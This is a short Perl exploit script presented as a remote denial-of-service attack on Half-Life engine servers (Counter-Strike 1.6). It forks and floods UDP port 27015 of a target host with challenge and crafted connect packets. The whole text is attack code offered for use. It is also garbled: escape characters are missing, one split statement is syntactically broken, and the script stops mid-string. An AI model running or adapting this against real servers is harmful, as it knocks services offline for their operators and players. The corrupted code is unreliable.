Exploit: #!/usr/bin/perl# Server must not be running steam. /str0ke # Half-Life engine remote DoS exploit # bug found by Firestorm # tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server use IO::Socket; die "usage: ./csdos <host>" unless $ARGV[0]; $host=$ARGV[0]; if (fork()) {    econnect($host); } else { econnect($host); }; exit; sub econnect($) {     my $host=$_[0];     my $sock = new IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');     die "Could not create socket: $!n" unless $sock;     $cmd="xffxffxffxff";     syswrite $sock, $cmd."getchallenge";     sysread $sock,$b,65535;  print $b,"n";     @c=split(/ /,$;     $c2=$c[1];     $q=$cmd."connect 47 $c2 "prot4unique